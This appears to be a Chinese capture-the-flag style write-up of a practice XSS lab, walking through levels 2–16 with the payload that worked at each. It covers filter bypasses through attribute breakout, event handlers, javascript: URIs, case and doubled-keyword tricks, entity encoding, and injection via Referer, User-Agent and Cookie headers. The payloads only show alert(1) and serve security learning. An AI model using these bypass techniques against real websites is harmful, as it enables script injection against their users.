Deutsh
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

Level2
通过输入信息提交查看源码发现提交的信息会被双引号括住,于是想到闭合前后语句
<input name=keyword value="2">
首先闭合前面
2">
后为 <input name=keyword value="2"><script>alert(1)</script>>
在闭合后面
<"
后为 <input name=keyword value="2"><script>alert(1)</script><"">
成功payload
2"><script>alert(1)</script><"
Level3
根据输入看源码,发现输入的内容还是会被嵌入HTML标签中,所以直接尝试Level2中的payload,发现无法触发,此时观察源码,发现<>
被转义过滤
于是尝试构造onclick
事件进行触发触发
成功payload
1' onclick=alert(1)//
1' onclick='alert(1)
Level4
进行常规的<script>alert(1)</script>
测试时,通过看源码,发现<>被直接过滤掉
我们可以直接采用上题的payload即可,稍微改一下闭合即可
成功payload
1" onclick="alert(1)
当然也可以采取另外一个事件 onmouseovser
当鼠标移动到图片时便会执行
1" onmouseover="javacript:alert(1)
Level5
该题开始依旧尝试<script>alert(1)</script>
,根据得到的源码可以看出对script
进行了过滤
于是尝试和前2题类似的事件触发进行尝试try harder!" onclick="alert(1)
,发现依旧对o
进行了过滤
遂构造并利用a标签的href属性执行javascript:伪协议
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行
成功payload
"><a href="javascript:alert(1)">//
Level6
依旧最初尝试,<script>alert(1)</script>
,发现script依旧被过滤,且和上一题的过滤方式一致。
接下来尝试事件onclick
可以看出on事件依旧被过滤,且和上次的方式一致
然后尝试<a href=
果然,还是熟悉的过滤方式
成功payload
于是尝试通过大小写绕过
"><a HrEf="javascript:alert(1)
成功绕过
Level7
依旧最初尝试,<script>alert(1)</script>
,发现源码中script
全部被过滤掉
于是首先想到的便是双写,果然成功绕过
成功payload
move up!"><scrscriptipt>alert(1)</scscriptript>//
Level8
依旧最初尝试,<script>alert(1)</script>
,发现源码中script
依旧被scr_ipt
转义
观察拼接后的源码后,决定转换思路,之前基本都是在<input>
标签内进行构造,这次通过观察发现<input>
标签中较难构造且过滤严格,遂决定在“友情连接”处的href
标签里进行构造,还是老方法,伪协议这次就不用闭合了直接用即可 javascript:alert(1)
发现依旧被过滤
成功payload
于是决定尝试进行HTML
编码
原 javascript:alert(1)
编码后 javascript:alert(1)
成功
Level9
本题与上一题的结构类似,所以第一想到的也是在“友情连接”处的href
标签中进行构造,但是当直接拼接进javascript:alert(1)
时查看源码发现该代码已被过滤判为不合法URL不予拼接
这里很有趣,https://www.baidu.com和www.baidu.com都都被判为不合法URL http://www.baidu.com 就合法了。。。可见该靶场以有年头
所以这里我们将合法的URL与编码后的javascript:alert(a)
进行拼接
此处由于不熟悉如何拼接正常URL和编码后的javascript:alert(a)
,所以导致开始拼接方式错误无法执行
错误拼法
编码后
http://www.baidu.comjavascript:alert(1)
编码前
www.baidu.comjavascript:alert(a)
正确拼法
编码后
javascript:alert(1)//http://www.baidu.com
编码前
javascript:alert(1)//http://www.baidu.com
成功payload
javascript:alert(1)//http://www.baidu.com
Level10
本题没有直接看是没有提交框input的,故尝试在GET参数部分尝试拼接经典的<script>alert(1)</script>
并查看源码,不出以外的被转义编码了
期间也尝试了类似于事件、href标签之类的发现都被过滤了,于是觉得拼接的地方可能不是这里,此时注意到了下面的input
标签,但由于其type="hidden"表明是一个隐藏表单,所以不会显示处提交栏,此时我们尝试在GET请求的参数中携带t_link``t_history``t_sort
看看是否可以为其value赋值,果然经过尝试,只有t_sort赋值成功
view-source:http://172.16.12.153:83/level10.php?keyword=1&t_sort=1
故决定在此进行构造
成功payload
接着在此处尝试<script>alert(1)</script>
,发现<>没有被转义编码,而是直接过滤了
所以表示此处不能拼接<>进行闭合,故尝试事件的构造触发,直接尝试onclick
,但由于onclick需要被点击触发,而作为隐藏表单时,是没有提交框的,所以我们首先想到的是修改type="text"
1"&t_sort=1" type="text" onclick="alert(1)
成功
Level11
本题同样看见隐藏提交表单,与上题一样尝试是否可以GET进值,发现无效
其余的依旧被过滤,由于可能靶机有点小问题:t_ref
的value多次提交都没有值,遂查了一下,重新启动了一下虚拟机,t_ref中才出现值,可以看出t_ref隐藏表单提交中的值为Referer
的值
原GET请求中是没有显示的提交Referer
这个参数的
需要我们手动添加,我们添加Referer
并添加一个值做一个测试
发现,果然,Referer
处的值会被就是隐藏表单提交的值
于是我们在此处进行构造即可
成功payload
Referer:1" type="text" onclick="alert(1)
Level12
由于上题构造的位置出现在Referer
处,所以我们这次直接提交请求查看返回的HTML
果然看出这次出现在了t_ua
参数处,由后面的值可以判断出是直接获取了UA的值
成功payload
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0" type="text" onclick="alert(1)
Level13
我们继续直接提交观察隐藏表单,发现这次出现了一个新的input项t_cook
,根据名称我们猜测为**cookie
**
放到Reperter模块,果然此次请求后会返回Set-cookie,复制其中的cookie,带上cookie我们再次发出请求,果然出现在**t_cook
**的value
中
成功payload
按照上次的直接构造即可
cookie:user=call+me+maybe%3F" type="text" onclick="alert(1)
Level14
本题看网上师傅说考察的是exif xss
漏洞,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif
元数据被修改为xss
的payload,
成功利用弹框
但由于原网站已经失效,所以没法尝试了,遗憾
Level15
见本网站的文章
Level16
本题上来还是一如既往的先看源码,由于没有发现什么有用处或可疑的字段,故接着老实尝试<script>alert(1)</script>
,发现script
被转义,于是转去尝试构造事件<img src=x onerror=alert(1)>
,通过源码看出貌似有戏,因为只有空格被转义了,关键字并没有
于是想到做sqlab
时可以用%0a
代替空格,故作尝试,果然成功触发XSS
成功payload
<img%0asrc=x%0aonerror=alert(1)>
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
